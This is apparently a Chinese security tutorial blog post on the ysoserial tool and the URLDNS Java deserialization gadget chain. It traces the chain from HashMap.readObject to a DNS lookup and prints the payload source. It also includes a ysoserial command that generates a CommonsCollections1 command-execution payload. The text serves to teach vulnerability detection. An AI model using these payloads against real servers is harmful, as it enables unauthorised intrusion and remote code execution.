给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
关注公众号:b1gpig信息安全,文章推送不错过

ysoserial

下载地址:https://github.com/angelwhu/ysoserial
ysoserial可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令。

什么是利⽤链?
利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能
是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的
⽅法罢了。

ysoserial的使⽤也很简单,虽然我们暂时先不理解 CommonsCollections ,但是⽤ysoserial可以很容

易地⽣成这个gadget对应的POC:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

如上,ysoserial⼤部分的gadget的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的POC发送给⽬标,如
果⽬标存在反序列化漏洞,并满⾜这个gadget对应的条件,则命令 id 将被执⾏

URLDNS利用链

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不
是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时
使⽤:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

ysoserial是如何⽣成 URLDNS 的代码的:
github地址

public class URLDNS implements ObjectPayload<Object> {public Object getObject(final String url) throws Exception {//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.URLStreamHandler handler = new SilentURLStreamHandler();HashMap ht = new HashMap(); // HashMap that will contain the URLURL u = new URL(null, url, handler); // URL to use as the Keyht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;}public static void main(final String[] args) throws Exception {PayloadRunner.run(URLDNS.class, args);}/*** <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior* using the serialized object.</p>** <b>Potential false negative:</b>* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the* second resolution.</p>*/static class SilentURLStreamHandler extends URLStreamHandler {protected URLConnection openConnection(URL u) throws IOException {return null;}protected synchronized InetAddress getHostAddress(URL u) {return null;}}
}

利⽤链分析

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对
象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。

我们前⾯说了,触发反序列化的⽅法是 readObject ,因为Java开发者(包括Java内置库的开发者)经
常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链。

那么,我们可以直奔 HashMap 类的 readObject ⽅法

    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

在倒数第四行:

putVal(hash(key), key, value, false, false);

可以看到将 HashMap 的键名计算了hash

在此处下断点,对这个 hash 函数进⾏调试并跟进,这是调⽤栈:

原因:在没有分析过的情况下,我为何会关注hash函数?因为ysoserial的注释中很明确地说明
了“During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触
发了DNS请求。


hash ⽅法调⽤了key的 hashCode() ⽅法:

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:

此时, handler 是 URLStreamHandler 对象(的某个⼦类对象),继续跟进其 hashCode ⽅法:


这⾥有调⽤ getHostAddress ⽅法,继续跟进:

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在⽹络上其实就是⼀次
DNS查询。到这⾥就不必要再跟了。

我们⽤⼀些第三⽅的反连平台就可以查看到这次请求,证明的确存在反序列化漏洞:

taborator原理:
点击“Create payload&copy”并生成一个唯一的URL,我可以在需要有效载荷的任何地方使用它。
如果有任何人看到这个URL并访问它,我会在Burp Suite collaborator客户端收到一条通知。

所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

从反序列化最开始的 readObject ,到最后触发DNS请求的 getByName ,只经过了6个函数调⽤,这在
Java中其实已经算很少了。

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap
中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算
其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode() 。

另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个 SilentURLStreamHandler 类,这不是必须的。

java安全(六)java反序列化2,ysoserial调试相关推荐

  1. java上机六,Java上机实验6.doc

    Java上机实验6 实验六 实验时间: 实验班级: 指导老师: 实验名称:包.接口及异常处理. 实验目的:掌握包.接口的声明与使用,掌握异常的处理 实验要求:独立完成实验内容. 七.实验内容: 1.编 ...

  2. 四十四、深入Java 的序列化和反序列化

    @Author:Runsen @Date:2020/6/8 作者介绍:Runsen目前大三下学期,专业化学工程与工艺,大学沉迷日语,Python, Java和一系列数据分析软件.导致翘课严重,专业排名 ...

  3. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 0x00 前言 偶然间看到SnakeYaml的资料感觉挺有意思,发现SnakeYaml也存在反序列化利用的问题.借此来分析一波. 0x01 SnakeYa ...

  4. Java 的序列化和反序列化,你该知道得更多

    作者 l 会点代码的大叔(CodeDaShu) Java 在内存中创建可以复用的对象,这些对象的生命周期不会比 JVM 的生命周期更长,如果有一些对象需要在 JVM 停止后保存(硬盘),并在 JVM ...

  5. 代码即财富之我学Java对象序列化与反序列化(2)

    2019独角兽企业重金招聘Python工程师标准>>> 我们在程序创建的Java对象都是存在于JVM内存中的,也就是Java对象的生命周期一定不会长于JVM,所以如何以一种持久化的方 ...

  6. Java 中序列化与反序列化

    一. 序列化和反序列化概念 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的过程.将程序中的对象,放入文 ...

  7. java基础提升篇:深入分析Java的序列化与反序列化

    初遇 序列化是一种对象持久化的手段.普遍应用在网络传输.RMI等场景中.本文通过分析ArrayList的序列化来介绍Java序列化的相关内容.主要涉及到以下几个问题: 怎么实现Java的序列化 为什么 ...

  8. 菜鸟学Java(六)——简单验证码生成(Java版)

    转载自  菜鸟学Java(六)--简单验证码生成(Java版) 验证码大家都知道,它的作用也不用我多说了吧.如果不太清楚请参见百度百科中的解释,一般验证码的生成就是随机产生字符(数字.字母或者汉字等) ...

  9. java中序列化与反序列化_Java中的序列化

    java中序列化与反序列化 Java提供了一种称为序列化的机制,以按字节的有序或字节序列的形式持久化Java对象,其中包括对象的数据以及有关对象的类型和存储在对象中的数据类型的信息. 因此,如果我们已 ...

最新文章

  1. RDKit | 统计分子库中某种元素出现的次数
  2. asp.net 域名欺骗式开发
  3. bootstrap-图标使用
  4. 给js加版本号解决浏览器缓存问题
  5. 错误提示:'……' is not assignable to Android.app.Activity Manifest XML
  6. 高斯积分公式matlab_数值微分与数值积分(一)
  7. 吴恩达深度学习4.1练习_Convolutional Neural Networks_Convolution_model_Application_2
  8. [WOJ2549]逻辑的连通性
  9. 《51单片机应用开发从入门到精通》——2.8 用外部中断控制灯闪烁
  10. 庆祝自己通过系分考试,分发资料
  11. # 20175333曹雅坤 第八周课程学习总结
  12. SPSS 相关系数例题、斯皮尔曼相关系数SPSS分析
  13. DOS命令大全(存档自用)
  14. 易语言html截图,易语言如何指定区域截图;易语言怎么才能全屏截图
  15. html输入框素材,html文本框代码
  16. 精讲精练之图像分割经典算法——分水岭算法
  17. 视频监控技术的发展对于市场的影响越来越大
  18. magento 货币换算
  19. 耳机电声测试仪软件,CLIO 11电声测试仪
  20. 解读数据架构的 2020:开放、融合、简化

热门文章

  1. Linux7/Redhat7/Centos7 安装Oracle 12C_监听配置及DBCA安装数据库_05
  2. Springboot/Cloud集成Sentinel进阶实战
  3. flowable 设置流程跟踪高亮线的颜色
  4. 实战06_SSM整合ActiveMQ支持多种类型消息
  5. 企业实战_05_MyCat用户密码加密
  6. Java-异常01 Error和Exception
  7. mysql查询每月、每天订单金额
  8. 个人帐目管理系统java_Java 项目 个人帐目管理系统
  9. C语言 十进制和十六进制相互转换 - C语言零基础入门教程
  10. datagridview取消默认选中_C# WinForm 取消DataGridView的默认选中Cell 使其不反蓝